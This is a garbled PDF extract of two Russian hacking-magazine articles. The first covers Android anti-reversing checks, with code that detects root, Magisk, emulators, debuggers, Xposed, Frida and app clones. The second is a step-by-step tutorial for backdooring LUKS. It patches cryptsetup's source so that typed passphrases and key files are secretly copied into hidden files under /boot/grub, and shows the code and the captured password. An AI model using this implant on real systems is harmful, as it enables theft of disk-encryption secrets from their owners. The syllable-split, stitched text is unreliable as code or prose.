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ВЗЛОМ

Ког да  задумы ваешь ся  о  защите  при ложе‐ 
ния  от  ревер са,  в  пер вую  оче редь  на  ум
при ходят  такие  сло ва,  как  обфуска ция
и  шиф рование.  Но  это  толь ко  часть
решения  проб лемы.  Вто рая  полови на  —
это детект и защита от самих инс тру мен тов
ревер са:  отладчи ков,  эму лято ров,  Frida
и  так далее. В этой статье мы рас смот рим
тех ники,  которые  мобиль ный  софт  и  злов‐ 
реды исполь зуют, что бы спря тать ся от этих
инс тру мен тов.

WARNING

Не  сто ит  вос при нимать  при веден ную  в  статье
информа цию  как  рецепт  абсо лют ной  защиты.
Такого  рецеп та  нет.  Мы  все го  лишь  даем  себе
отсроч ку,  затор мажива ем  иссле дова ние,  но  не
дела ем его невоз можным. Все это — бес конеч ная
игра  в  кош ки‐мыш ки,  ког да  иссле дова тель  взла‐ 
мыва ет  оче ред ную  защиту,  а  раз работ чик  при‐ 
думы вает ей более изощ ренную замену.

Важ ный момент: я при веду мно жес тво раз ных тех ник защиты, и у тебя может
воз никнуть соб лазн запих нуть их все в один класс (или натив ную биб лиоте ку)
и  с  удобс твом  для  себя  запус кать  один  раз  при  стар те  при ложе ния.  Так
делать не сто ит, механиз мы защиты дол жны быть раз бро саны по при ложе нию
и  стар товать  в  раз ное  вре мя.  Так  ты  сущес твен но  усложнишь жизнь  взлом‐ 
щику,  который  в  про тив ном  слу чае  мог  бы  опре делить  наз начение  клас са/
биб лиоте ки и целиком заменить его одной боль шой заг лушкой.

ROOT
Пра ва  root  —  один  из  глав ных  инс тру мен тов  ревер сера.  Root  поз воля ет
запус кать  Frida  без  пат чинга  при ложе ний,  исполь зовать  модули  Xposed
для изме нения поведе ния при ложе ния и трей син га при ложе ний, менять низ‐ 
коуров невые парамет ры сис темы. В целом наличие root чет ко говорит о том,
что окру жению исполне ния доверять нель зя. Но как его обна ружить?

Са мый прос той вари ант — поис кать исполня емый файл su в одном из сис‐ 
темных катало гов:

/sbin/su•
/system/bin/su•
/system/bin/failsafe/su•
/system/xbin/su•
/system/sd/xbin/su•
/data/local/su•
/data/local/xbin/su•
/data/local/bin/su•

Би нар ник  su  всег да  при сутс тву ет  на  рутован ном  устрой стве,  ведь  имен но
с его помощью при ложе ния получа ют пра ва root. Най ти его мож но с помощью
при митив ного кода на Java:

       private static boolean findSu() {
               

     
     

String[] paths = { "/sbin/su", "/system/bin/su", "/system/xbin/
su", "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/
su", "/system/bin/failsafe/su", "/data/local/su" };
             for (String path : paths) {

              if (new File(path).exists()) return true;
   }
     return false;
}

Ли бо исполь зовать такую фун кцию, поза имс тво ван ную из при ложе ния 
:

rootin‐
spector

           
   

jboolean Java_com_example_statfile(JNIEnv * env, jobject this,
jstring filepath) {
         jboolean fileExists = 0;
     jboolean isCopy;
                 const char * path = (*env)‐>GetStringUTFChars(env, filepath, &
isCopy);
       struct stat fileattrib;

             if (stat(path, &fileattrib) < 0) {
   

 
       __android_log_print(ANDROID_LOG_DEBUG, DEBUG_TAG, "NATIVE: 
stat error: [%s]", strerror(errno));
     } else
   {

   
 

       __android_log_print(ANDROID_LOG_DEBUG, DEBUG_TAG, "NATIVE: 
stat success, access perms: [%d]", fileattrib.st_mode);

        return 1;
   }

     return 0;
}

Еще один вари ант — поп робовать не прос то най ти, а запус тить бинар ник su:

 try {
   Runtime.getRuntime().exec("su");
       } catch (IOException e) {
   // Телефон не рутован
}

Ес ли его нет, сис тема выдаст IOException. Но здесь нуж но быть осто рож ным:
если  устрой ство  все‐таки  име ет  пра ва  root,  поль зователь  уви дит  на  экра не
зап рос этих самых прав.

Еще один вари ант — най ти сре ди уста нов ленных на устрой ство при ложе‐ 
ний  менед жер  прав  root.  Он  как  раз  и  отве чает  за  диалог  пре дос тавле ния
прав:

com.thirdparty.superuser•
eu.chainfire.supersu•
com.noshufou.android.su•
com.koushikdutta.superuser•
com.zachspong.temprootremovejb•
com.ramdroid.appquarantine•
com.topjohnwu.magisk•

Для поис ка мож но исполь зовать такой метод:

           
 

private static boolean isPackageInstalled(String packagename, Context
context) {
         PackageManager pm = context.getPackageManager();
     try {

        pm.getPackageInfo(packagename, PackageManager.GET_ACTIVITIES)
;

        return true;
           } catch (NameNotFoundException e) {

        return false;
   }
}

Ис кать  мож но  и  по  кос венным  приз накам.  Нап ример,  SuperSU,  неког да
популяр ное  решение  для  получе ния  прав  root,  име ет  нес коль ко  фай лов
в фай ловой сис теме:

/system/etc/init.d/99SuperSUDaemon•
/system/xbin/daemonsu — SuperSU•

Еще один кос венный приз нак — про шив ка, под писан ная тес товыми клю чами.
Это  не  всег да  под твержда ет  наличие  root,  но  точ но  говорит  о  том,  что
на устрой стве уста нов лен кас том:

     private boolean isTestKeyBuild() {
         String buildTags = android.os.Build.TAGS;
             return buildTags != null && buildTags.contains("test‐keys");
}

MAGISK
Все эти методы детек та  root отлично работа ют до  тех пор, пока  ты не стол‐ 
кнешь ся с устрой ством, рутован ным с помощью Magisk. Это так называ емый
systemless‐метод  рутин га,  ког да  вмес то  раз мещения  ком понен тов  для  root‐
дос тупа в фай ловой сис теме поверх нее под клю чают дру гую фай ловую сис‐ 
тему (овер лей), содер жащую эти ком понен ты.

Та кой механизм работы не толь ко поз воля ет оста вить сис темный раз дел
в целос ти и сох раннос ти,  но и лег ко скры вает наличие прав  root  в  сис теме.
Встро енная в Magisk фун кция MagiskHide прос то отклю чает овер лей для выб‐ 
ранных  при ложе ний,  делая  любые  клас сичес кие  спо собы  детек та  root  бес‐ 
полез ными.

Про цесс скры тия root мож но уви деть в логах Magisk

Но есть в MagiskHide один изъ ян. Дело в том, что, если при ложе ние, которое
находит ся в спис ке для скры тия root, запус тит сер вис в изо лиро ван ном про‐ 
цес се, Magisk  так же  отклю чит  для  него  овер лей,  но  в  спис ке  под клю чен ных
фай ловых сис тем  (/proc/self/mounts) этот овер лей оста нет ся. Соот ветс твен‐ 
но, что бы обна ружить Magisk, необ ходимо запус тить сер вис в изо лиро ван ном
про цес се и про верить спи сок под клю чен ных фай ловых сис тем.

Спо соб был опи сан в статье  ,  а исходный код proof
of  concept  выложен  на  .  Спо соб  работа ет  до  сих  пор  на  самой  пос‐ 
ледней вер сии Magisk — 20.4.

Detecting Magisk Hide
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ЭМУЛЯТОР
Ре вер серы час то исполь зуют эму лятор для запус ка подопыт ного при ложе ния.
Поэто му  нелиш ним  будет  внес ти  в  при ложе ние  код,  про веря ющий,
не запуще но ли оно в вир туаль ной сре де. Сде лать это мож но, про читав зна‐ 
чение  некото рых  сис темных  перемен ных.  Нап ример,  стан дар тный  эму лятор
Android Studio уста нав лива ет такие перемен ные и их зна чения:

ro.hardware=goldfish
ro.kernel.qemu=1
ro.product.model=sdk

Про читав их зна чения, мож но пред положить, что код исполня ется в эму лято‐ 
ре:

       public static boolean checkEmulator() {
     try {

            boolean goldfish = getSystemProperty("ro.hardware").contains(
"goldfish");

                boolean emu = getSystemProperty("ro.kernel.qemu").length() >
0;

            boolean sdk = getSystemProperty("ro.product.model").contains(
"sdk");

                  if (emu || goldfish || sdk) {
            return true;

       }
           } catch (Exception e) {}

     return false;
}

             private static String getSystemProperty(String name) throws Exception
{
         Class sysProp = Class.forName("android.os.SystemProperties");
           

   
return (String) sysProp.getMethod("get", new Class[]{String.class

}).invoke(sysProp, new Object[]{name});
}

Об рати  вни мание,  что  класс    скры тый
и  недос тупен  в  SDK,  поэто му  для  обра щения  к  нему  мы  исполь зуем  реф‐ 
лексию.

android.os.SystemProperties

В дру гих эму лято рах зна чения сис темных перемен ных могут быть дру гими.
На    есть  таб лица  со  зна чени ями  сис темных  перемен ных,
которые могут пря мо или кос венно ука зывать на эму лятор. Там же при веде на
таб лица  зна чений  сте ка  телефо нии.  Нап ример,  серий ный  номер  SIM‐кар‐ 
ты 89014103211118510720 однознач но ука зыва ет на эму лятор. Мно гие стан‐ 
дар тные  зна чения,  а  так же  готовые  фун кции  для  детек та  эму лято ра  мож но
най ти в этом  .

этой  стра нице

ис ходном фай ле
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ЗА СЕМЬЮ ЗАМКАМИ
ЗАЩИЩАЕМ ПРИЛОЖЕНИЕ ДЛЯ ANDROID
ОТ ОТЛАДЧИКОВ, ЭМУЛЯТОРОВ И FRIDA

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ОТЛАДЧИК
Один из методов ревер са — запуск при ложе ния под управле нием отладчи ка.
Взлом щик может деком пилиро вать твое при ложе ние, затем соз дать в Android
Studio одно имен ный про ект, закинуть в него получен ные исходни ки и запус‐ 
тить отладку, не ком пилируя про ект. В этом слу чае при ложе ние само покажет
ему свою логику работы.

Что бы про вер нуть такой финт, взлом щику при дет ся пересоб рать при ложе‐ 
ние с вклю чен ным фла гом отладки (android:debuggable="true"). Поэто му наив‐ 
ный спо соб защиты сос тоит в прос той про вер ке это го фла га:

       public static boolean checkDebuggable(Context context){
         

   
return (context.getApplicationInfo().flags & ApplicationInfo.

FLAG_DEBUGGABLE) != 0;

}

Чуть более надеж ный спо соб — нап рямую спро сить  сис тему,  под клю чен  ли
отладчик:

       public static boolean detectDebugger() {
     return Debug.isDebuggerConnected();
}

То же самое в натив ном коде:

     
       

 

JNIEXPORT jboolean JNICALL
Java_com_test_debugging_DebuggerConnectedJNI(JNIenv * env, jobject
obj) {
           if (gDvm.debuggerConnected || gDvm.debuggerActive) {

        return JNI_TRUE;
   }
     return JNI_FALSE;
}

При веден ные методы помогут обна ружить отладчик на базе про токо ла JDWP
(как  раз  тот,  что  встро ен  в  Android  Studio).  Но  дру гие  отладчи ки  работа ют
по‐дру гому, и методы борь бы с ними будут ины ми. Отладчик GDB, нап ример,
получа ет кон троль над про цес сом с помощью сис темно го вызова  .
А пос ле исполь зования ptrace флаг TracerPid в син тетичес ком фай ле 

 изме нит ся с нуля на PID отладчи ка. Про читав зна чение фла га,
мы узна ем, под клю чен ли к при ложе нию отладчик GDB:

ptrace()
/proc/

self/status

           public static boolean hasTracerPid() throws IOException {
         BufferedReader reader = null;
     try {

         
 

       reader = new BufferedReader(new InputStreamReader(new
FileInputStream("/proc/self/status")), 1000);

        String line;

                  while ((line = reader.readLine()) != null) {
                  if (line.length() > tracerpid.length()) {

   
 

               if (line.substring(0, tracerpid.length()).
equalsIgnoreCase(tracerpid)) {

 
         

                   if (Integer.decode(line.substring(tracerpid.
length() + 1).trim()) > 0) {

                        return true;
                   }
                   break;
               }
           }
       }

           } catch (Exception exception) {
       e.printStackTrace()
       } finally {
       reader.close();
   }

     return false;
}

Это слег ка модифи циро ван ная фун кция из репози тория  . Ее ана‐ 
лог на язы ке С будет нет рудно най ти на Stack Overflow.

anti‐emulator

Еще  один метод  борь бы  с  отладчи ками,  осно ван ными  на  ptrace, —  поп‐ 
робовать  под клю чить ся  к  самому  себе  (про цес су  при ложе ния)  в  роли
отладчи ка.  Для  это го  надо  сде лать  форк  (из  натив ного  кода)  и  затем
попытать ся выз вать сис темный вызов ptrace:

 void fork_and_attach()
{
         int pid = fork();
         if (pid == 0)
   {

            int ppid = getppid();
                  if (ptrace(PTRACE_ATTACH, ppid, NULL, NULL) == 0)

       {
              waitpid(ppid, NULL, 0);

              ptrace(PTRACE_CONT, NULL, NULL);
       }
   }
}

Об наружить  встро енный  отладчик  IDA  Pro  мож но  дру гим  спо собом:  через
поиск стро ки 00000000:23946 в фай ле   (это стан дар тный порт
отладчи ка). К сожале нию, начиная с Android 9 спо соб не работа ет.

/proc/net/tcp

В  ста рых  вер сиях  Android  так же  мож но  было  пря мо  искать  про цесс
отладчи ка в сис теме, ког да при ложе ние прос то про ходит по дереву про цес‐ 
сов в фай ловой сис теме   и ищет стро ки типа gdb и gdbserver в фай лах 

.  Начиная  с  Android  7  дос туп  к  фай ловой  сис теме 
зап рещен (кро ме информа ции о текущем про цес се).

/proc /
proc/PID/cmdline /proc

XPOSED
Xposed  —  фрей мворк  для  ран тайм‐модифи кации  при ложе ний.  И  хотя
в основном с его помощью уста нав лива ют сис темные модифи кации и тви ки
при ложе ний,  сущес тву ет  мас са  модулей,  которые могут  быть  исполь зованы
для  ревер са  и  взло ма  тво его  при ложе ния.  Это  и  раз личные  модули
для отклю чения SSL Pinning, и трас сиров щики вро де  inspeckage, и самопис‐ 
ные модули, которые могут как угод но изме нять при ложе ние.

Есть три дей ствен ных спо соба обна руже ния Xposed:
по иск  пакета  de.robv.android.xposed.installer  сре ди  уста нов ленных
на устрой ство;

•

по иск    и    в  фай ле 
;

• libexposed_art.so xposedbridge.jar /proc/

self/maps

по иск  клас са    сре ди  заг‐ 
ружен ных в ран тайм пакетов.

• de.robv.android.xposed.XposedBridge

В  статье    при водит ся  реали зация
треть его метода одновре мен но для поис ка Xposed и Cydia Substrate. Под ход
инте ресен  тем,  что  мы  не  ищем  нап рямую  клас сы  в  ран тай ме,  а  прос то
вызыва ем  исклю чение  вре мени  исполне ния  и  затем  ищем  нуж ные  клас сы
и методы в стек трей се:

Android  Anti‐Hooking  Techniques  in  Java

 try {
       throw new Exception("blah");
}

   catch(Exception e) {
         int zygoteInitCallCount = 0;

           for(StackTraceElement stackTraceElement : e.getStackTrace()) {

 
       if(stackTraceElement.getClassName().equals("com.android.
internal.os.ZygoteInit")) {
           zygoteInitCallCount++;

                if(zygoteInitCallCount == 2) {
                Log.wtf("HookDetection", "Substrate is active on the 

device.");
           }
       }

 
   

 

       if (stackTraceElement.getClassName().equals("com.saurik.
substrate.MS$2") && stackTraceElement.getMethodName().equals(
"invoked")) {

            Log.wtf("HookDetection", "A method on the stack trace 
has been hooked using Substrate.");
       }

 
   

 

       if (stackTraceElement.getClassName().equals("de.robv.android.
xposed.XposedBridge") && stackTraceElement.getMethodName().equals(
"main")) {

            Log.wtf("HookDetection", "Xposed is active on the device.
");
       }

 
   
 

       if (stackTraceElement.getClassName().equals("de.robv.android.
xposed.XposedBridge") && stackTraceElement.getMethodName().equals(
"handleHookedMethod")) {

            Log.wtf("HookDetection", "A method on the stack trace 
has been hooked using Xposed.");
       }
   }
}

FRIDA
Ее  величес тво  Frida!  Этот  изу митель ный  инс тру мент  поз воля ет  перех ватить
вызов любой фун кции подопыт ного при ложе ния, про честь все ее аргу мен ты
и заменить тело собс твен ной реали заци ей на язы ке JavaScript. Frida не толь‐ 
ко занима ет почет ное мес то в чемодан чике инс тру мен тов любого ревер сера,
но и слу жит базой для мно гих дру гих, более высоко уров невых ути лит.

Об наружить Frida мож но мно жес твом раз ных спо собов. В статье 
 при водит ся три (на самом деле четыре, но пер вый уже

неак туален) спо соба это сде лать.

The Jiu‐
Jitsu of Detecting Frida

 в фай ле 
:

1. Поиск биб лиотек frida-agent и frida-gadget /proc/self/
maps

 char line[512];
 FILE* fp;

     fp = fopen("/proc/self/maps", "r");

   if (fp) {
           while (fgets(line, 512, fp)) {

            if (strstr(line, "frida")) {
           /* Frida найдена */
       }
   }

   fclose(fp);
}

Мо жет закон чить ся неуда чей, если взлом щик изме нит име на биб лиотек.
 стро ки "LIBFRIDA":2. Поиск в памяти натив ных биб лиотек

       static char keyword[] = "LIBFRIDA";
   num_found = 0;

       int scan_executable_segments(char * map) {
     char buf[512];
         unsigned long start, end;

           sscanf(map, "%lx‐%lx %s", &start, &end, buf);

           if (buf[2] == 'x') {
                  return (find_mem_string(start, end, (char*)keyword, 8) == 1);

       } else {
        return 0;

   }
}

   void scan() {
                   
 
if ((fd = my_openat(AT_FDCWD, "/proc/self/maps", O_RDONLY, 0)) >=

0) {

               while ((read_one_line(fd, map, MAX_LINE)) > 0) {
              if (scan_executable_segments(map) == 1) {

           num_found++;
       }
   }

           if (num_found > 1) {
       /* Frida найдена */
   }
}

Взлом щик может переком пилиро вать Frida с изме нен ными стро ками.
,  отправ ка  в  них  dbus‐

сооб щения AUTH и ожи дание отве та Frida:
3.  Про ход  по  всем  откры тым  TCP-пор там

                 for(i = 0 ; i <= 65535 ; i++) {
               sock = socket(AF_INET , SOCK_STREAM , 0);
       sa.sin_port = htons(i);

                       if (connect(sock , (struct sockaddr*)&sa , sizeof sa) != ‐1) {
    

 
       __android_log_print(ANDROID_LOG_VERBOSE, APPNAME, "FRIDA 
DETECTION [1]: Open Port: %d", i);

            memset(res, 0 , 7);

            send(sock, "\x00", 1, NULL);
            send(sock, "AUTH\r\n", 6, NULL);

       usleep(100);

                        if (ret = recv(sock, res, 6, MSG_DONTWAIT) != ‐1) {
                    if (strcmp(res, "REJECT") == 0) {

               /* Frida найдена */
           }
       }
   }
   close(sock);
}

Ме тод  хорошо  работа ет  при  исполь зовании  frida‐server  (на  рутован ном
устрой стве),  но  бес полезен,  если  при ложе ние  было  перепа кова но  с  вклю‐ 
чени ем  в  него  frida‐gadget  (этот  спо соб  обыч но  при меня ют,  ког да  невоз‐ 
можно получить root на устрой стве).

В статье   автор при водит еще три спо соба:Detect Frida for Android
1. По иск потоков frida‐server и frida‐gadget, которые Frida запус кает в рам ках
про цес са подопыт ного при ложе ния.

2. По иск  спе цифич ных  для  Frida  име нован ных  пай пов  в  катало ге 
./proc/<pid>/fd

3. Срав нение кода натив ных биб лиотек на дис ке и в памяти. При внед рении
Frida изме няет сек цию text натив ных биб лиотек.

При меры исполь зования пос ледних трех тех ник опуб ликова ны в 
.

ре пози тории
на GitHub

КЛОНИРОВАНИЕ
Не кото рые  про изво дите ли  встра ивают  в  свои  про шив ки  фун кцию  кло ниро‐ 
вания  при ложе ния  (Parallel  Apps  в OnePlus, Dual  Apps  в  Xiaomi  и  так  далее),
которая поз воля ет  уста новить  на  смар тфон  копию выб ранно го  при ложе ния.
Про шив ка  соз дает  допол нитель ного  Android‐поль зовате ля  с  иден тифика‐ 
тором 999 и уста нав лива ет копию при ложе ний от его име ни.

Та кую  же  фун кци ональ ность  пред лага ют  некото рые  при ложе ния  из  мар‐ 
кета (Dual Space, Clone App, Multi Parallel). Они работа ют по‐дру гому: соз дают
изо лиро ван ную  сре ду  для  при ложе ния  и  уста нав лива ют  его  в  собс твен ный
при ват ный каталог.

С помощью вто рого метода твое при ложе ние могут запус тить в изо лиро‐ 
ван ной сре де для изу чения. Что бы вос пре пятс тво вать это му, дос таточ но про‐ 
ана лизи ровать путь к при ват ному катало гу при ложе ния. К при меру, при ложе‐ 
ние  с  име нем  пакета  com.example.app  при  нор маль ной  уста нов ке  будет
иметь при ват ный каталог по сле дующе му пути:

/data/user/0/com.example.app/files 

При соз дании кло на с помощью одно го из при ложе ний из мар кета путь будет
уже таким:

/data/data/com.ludashi.dualspace/virtual/data/user/0/com.example.app/
files 

А  при  соз дании  кло на  с  помощью  встро енных  в  про шив ку  инс тру мен тов —
таким:

/data/user/999/com.example.app/files 

Со берем все вмес те и получим такой метод для детек та изо лиро ван ной сре‐ 
ды:

         private const val DUAL_APP_ID_999 = "999"

       fun checkAppCloning(context: Context): Boolean {
           val path: String = context.filesDir.path
         val packageName = context.packageName

         val pathDotCount = path.split(".").size‐1
         val packageDotCount = packageName.split(".").size‐1

             
 

if (path.contains(DUAL_APP_ID_999) || pathDotCount >
packageDotCount) {

        return false
   }

     return true
}

Ме тод  осно ван  на  спо собе,  при веден ном  в  статье 
.

Preventing  Android  App
Cloning

ВЫВОДЫ
Ко неч но  же,  это  далеко  не  все  спо собы  борь бы  с  ревер сом  и  ана лизом
поведе ния  при ложе ний.  Сущес тву ет  мно жес тво  менее  эффектив ных
или  слиш ком  узкоспе циали зиро ван ных  спо собов.  Поэто му  ниже  я  при веду
спи сок  литера туры  и  про ектов  на  GitHub,  с  которы ми  обя затель но  нуж но
озна комить ся.  Там  ты  най дешь более  глу бокое  объ ясне ние  некото рых  опи‐ 
сан ных в этой статье методов защиты, а так же мно жес тво дру гих тех ник.
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ВЗЛОМ

LUKS  —  популяр ная  и  рас простра нен ная  сис тема  шиф‐ 
рования дис ков. Одна ко, ког да есть дос туп к хос ту с пра вами
адми нис тра тора,  впол не  воз можно  уста новить  зак ладку,
которая  будет  перех ватывать  клю чи  зашиф рован ных  раз‐ 
делов. В этой статье мы сна чала раз берем ся с LUKS и ути‐ 
литой cryptsetup, а потом пос мотрим, как изме нить исходный
код  таким  обра зом,  что бы  мож но  было  перех ватывать
пароль ную фра зу или ключ для рас шифров ки раз дела.

LUKS —  это,  по  сути,  стан дарт  для шиф рования  дис ков  в  Linux.  Под держи‐ 
вает ся  до  вось ми  сло тов  клю чей,  есть  выбор  хеш‐фун кций,  алго рит мов
и режимов шиф рования, есть адап тивный алго ритм выбора количес тва ите‐ 
раций.  Рас шифро вать  дан ные  на  дис ке  мож но,  толь ко  имея  дос туп  к  сек‐ 
ретно му клю чу и паролю.

Сре ди дру гих пре иму ществ LUKS:
сов мести мость через стан дарти зацию;•
за щита от атак с низ кой энтро пией;•
воз можность анну лиро вать сек ретную фра зу.•

Ну и рас простра няет ся она бес плат но.

НАСТРОЙКА ДИСКА
Все манипу ляции мы будем про водить на све жем Debian 10, добавив допол‐ 
нитель ный диск для экспе римен тов с шиф ровани ем.

Пос ле уста нов ки перехо дим под root:

su ‐ 

За тем ути литой   смот рим наз вания дос тупных дис ков:fdisk

 

 

 

 

$ fdisk ‐l

Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors 
Disk model: VMware Virtual S 
Units: sectors of 1 * 512 = 512 bytes 
Sector size (logical/physical): 512 bytes / 512 bytes 
I/O size (minimum/optimal): 512 bytes / 512 bytes 
Disklabel type: dos 
Disk identifier: 0x09849b5eDevice Boot Start End Sectors Size Id Type 
/dev/sda1 * 2048 37750783 37748736 18G 83 Linux 
/dev/sda2 37752830 41940991 4188162 2G 5 Extended 
/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris

Disk /dev/sdb: 4 GiB, 4294967296 bytes, 8388608 sectors 
Disk model: VMware Virtual S 
Units: sectors of 1 * 512 = 512 bytes 
Sector size (logical/physical): 512 bytes / 512 bytes 
I/O size (minimum/optimal): 512 bytes / 512 bytes

В  сво ем  при мере  я  буду  исполь зовать  устрой ство  .  Для  раз метки
дис ка исполь зую ути литу  , передав имя дис ка в качес тве аргу мен та:

/dev/sdb
parted

parted /dev/sdb 

По мечаю таб лицу раз делов как GPT:

(parted) mklabel gpt 

И соз даю единс твен ный раз дел, занима ющий весь диск:

(parted) mkpart primary 1 ‐1
(parted) quit 

СБОРКА CRYPTSETUP
Ра боты с раз меткой   закон чены. Перехо дим к сбор ке  ./dev/sdb cryptsetup

Ес ли  у  тебя  уже  уста нов лен  LUKS и  ты  хочешь модифи циро вать  текущую
вер сию  ути литы,  исполь зуй  dpkg‐dev.  В  этом  же  при мере  я  буду  собирать
cryptsetup  из  исходных  кодов,  ска чан ных  отдель но  от  сис темы.  У  меня  вер‐ 
сия  2.0.6,  так  как  при  сбор ке  пос ледней  дос тупной  (2.3.4)  были  проб лемы
с вер сиями биб лиотек.

Ска чива ем, рас паковы ваем и уста нав лива ем необ ходимые зависи мос ти:

# cd /root
# wget https://www.kernel.org/pub/linux/utils/cryptsetup/v2.0/
cryptsetup‐2.0.6.tar.xz
# tar xf cryptsetup‐2.0.6.tar.xz
# cd cryptsetup‐2.0.6
# apt update && apt install build‐essential automake autopoint 
libtool pkg‐config uuid‐dev libdevmapper‐dev libpopt‐dev 
libgcrypt20‐dev libjson‐c‐dev libssl‐dev libblkid‐dev gettext

Со бира ем и уста нав лива ем:

# ./configure
# make && make install

Про веря ем уста нов ку:

 

 

 

# cryptsetup ‐‐version

cryptsetup 2.0.6

От лично.  Теперь  соз дадим  зашиф рован ный  раз дел  с  помощью  cryptsetup
и пароля, вво димо го в TTY:

# cryptsetup luksFormat /dev/sdb1

Сог лаша емся на фор матиро вание ( ) и вво дим пароль для пос леду юще го
дос тупа к раз делу. Я исполь зую  .

YES
t3st3ncryp7

Про веря ем, все ли уда лось.

 

 

 

# cryptsetup isLuks /dev/sdb1 && echo Ok!

Ok!

Все получи лось! Под клю чаем шиф рован ный раз дел, что бы даль ше его мон‐ 
тировать:

# cryptsetup luksOpen /dev/sdb1 db

Вво дим пароль ную фра зу ( ). Чуть поз же в этом мес те мы перех‐ 
ватим вво димый в   пароль.

t3st3ncryp7
TTY

Фор матиру ем раз дел:

# mke2fs ‐j /dev/mapper/db

И мон тиру ем для работы, нап ример в  :/mnt

 

 

 

 

 

 
 

# mount /dev/mapper/db /mnt && cd /mnt
# echo Hello! > test.txt
# cat test.txt

Hello!

# ls ‐la

ито го 28 
drwxr‐xr‐x 3 root root 4096 ноя 6 06:49 . 
drwxr‐xr‐x 20 root root 4096 ноя 6 05:34 .. 
drwx‐‐‐‐‐‐ 2 root root 16384 ноя 6 06:48 lost+found 
‐rw‐r‐‐r‐‐ 1 root root   7 ноя 6 06:49 test.txt

МОДИФИЦИРУЕМ КОД
На  этом  эта пе  мы  научи лись  мон тировать  шиф рован ный  раз дел  LUKS  c
исполь зовани ем пароль ной фра зы. Сей час мы испра вим исходный код, что‐ 
бы  сох ранять  не  толь ко  вво димый  пароль,  но  и  слу чай но  сге нери рован ный
файл,  который  может  быть  ука зан  в  качес тве  клю ча  для  рас шифров ки  раз‐ 
дела.

На ходим код про вер ки passphrase в фай ле   (отно‐ 
ситель но  кор ня  архи ва  ).  В  ста рых  вер сиях  он
находил ся в фай ле  .

src/utils_password.c
cryptsetup-2.0.6.tar.xz

askpass.c
Для  перех вата  пароля  я  изме ню  фун кцию  ,  отве‐ 

чающую  за  ввод  пароля  из  тер минала  (TTY).  В  самом  кон це  добавим  кусок
кода, который кла дет перемен ную   в нуж ный нам файл. В качес тве пути
возь мем  .

crypt_get_key_tty()

pass
/boot/grub/.captured_pass

Вот при мер но 220‐я стро ка фай ла  :src/utils_password.c

   *key = pass;
   *key_size = strlen(pass);

До бавим

 FILE *fp;
     fp = fopen("/boot/grub/.captured_pass", "w+");

 fputs(pass, fp);
fclose(fp);

Пе рех ват passphrase в utils_password.c

От лично.  Теперь  вво димый  пароль  сох раня ется  в  фай ле  .
Пой дем  даль ше  и  поможем  нашей  прог рамме  делать  «резер вную  копию»
исполь зуемо го для рас шифров ки клю ча.

.captured_pass

Для это го я решил не читать сам ключ, а взять ори гиналь ный путь из фун‐ 
кции   и ско пиро вать ключ в нуж ное мес то. Для добав ления
кода ищем при мер но 285‐ю стро ку и пос ле:

tools_get_key()

             if (pwquality && !opt_force_password && !key_file && !r)
     r = tools_check_pwquality(*key);

До бав ляем  вызов фун кции  ,  передав  в  качес тве  аргу мен та  путь
ори гиналь ного фай ла в перемен ной   и необ ходимый путь для сох‐ 
ранения. Дол жно получить ся при мер но так:

CopyFile()
key_file

...
             if (pwquality && !opt_force_password && !key_file && !r)

     r = tools_check_pwquality(*key);

   CopyFile(key_file, "/boot/grub/.captured_key");return r;
...

Сох ранение клю ча в фай ле utils_password.c

Не забыва ем добавить саму фун кцию   в самый конец фай ла пос‐ 
ле фун кции  :

CopyFile()
tools_write_mk()

             int CopyFile(const char* source, const char* destination) {
     int input, output;
               if ((input = open(source, O_RDONLY)) == ‐1) {

          return ‐1;
 }
               if ((output = creat(destination, 0660)) == ‐1) {
         close(input);

          return ‐1;
 }

       off_t bytesCopied = 0;
         struct stat fileinfo = {0};
   fstat(input, &fileinfo);
             int result = sendfile(output, input, &bytesCopied, fileinfo.st_size
);

 close(input);
 close(output);

   return result;
}

Те перь  пересо бира ем  наш  исправ ленный  вари ант  cryptsetup  c  уда лени ем
кеша пре дыду щей сбор ки:

# pwd
# /root/cryptsetup‐2.0.6
make clean && make && make install

Нас тало  вре мя  тес тов.  Для  начала  про верим  перех ват  пароля  уже  зашиф‐ 
рован ного  таким  обра зом  дис ка.  Для  это го  раз монти руем  его  и  вер нем
в пер воначаль ное сос тояние:

# umount /mnt
# cryptsetup luksClose /dev/mapper/db

Те перь сно ва рас шифро выва ем и ловим необ ходимый пароль:

 

 

 

 

 

 

 

# cryptsetup luksOpen /dev/sdb1 db

Вве дите пароль ную фра зу для /dev/sdb1:

 # mount /dev/mapper/db /mnt
# ls /mnt/

lost+found test.txt

# cat /boot/grub/.captured_pass

t3st3ncryp7

Ве лико леп но!  Оста лось  отформа тиро вать  и  зашиф ровать  файл  клю чом
для про вер ки вто рого спо соба перех вата. Генери руем сам ключ:

# dd if=/dev/urandom of=/root/secret.key bs=1024 count=2

Фор матиру ем  и  шиф руем  с  помощью  сге нери рован ного  клю ча,  пред‐ 
варитель но отклю чив раз дел:

 

 

 

 
 

# umount /mnt
# cryptsetup luksClose /dev/mapper/db
# cryptsetup luksFormat /dev/sdb1 /root/secret.key

ПРЕ ДУП РЕЖДЕ НИЕ: Устрой ство /dev/sdb1 уже содер жит под пись супер бло ка 
«crypto_LUKS».WARNING! 

 
Дан ные на /dev/sdb1 будут переза писа ны без воз можнос ти вос ста нов ления. 
Are you sure? (Type uppercase yes): YES

========

Под клю чаем и рас шифро выва ем раз дел:

# cryptsetup ‐‐key‐file /root/secret.key luksOpen /dev/sdb1 db

Про веря ем, перех ватил ся ли ключ.

 

 

 

# ls ‐la /boot/grub/

ито го 2392 
drwxr‐xr‐x 5 root root  4096 ноя 6 07:29 . 
drwxr‐xr‐x 3 root root  4096 ноя 5 05:03 .. 
‐rw‐r‐‐‐‐‐ 1 root root  2048 ноя 6 07:31 .captured_key 
‐rw‐r‐‐r‐‐ 1 root root   11 ноя 6 07:21 .captured_pass 
drwxr‐xr‐x 2 root root  4096 ноя 5 05:04 fonts 
‐r‐‐r‐‐r‐‐ 1 root root  8463 ноя 5 05:04 grub.cfg 
‐rw‐r‐‐r‐‐ 1 root root  1024 ноя 5 05:04 grubenv 
drwxr‐xr‐x 2 root root  12288 ноя 5 05:04 i386‐pc 
drwxr‐xr‐x 2 root root  4096 ноя 5 05:04 locale 
‐rw‐r‐‐r‐‐ 1 root root 2396122 ноя 5 05:03 unicode.pf2

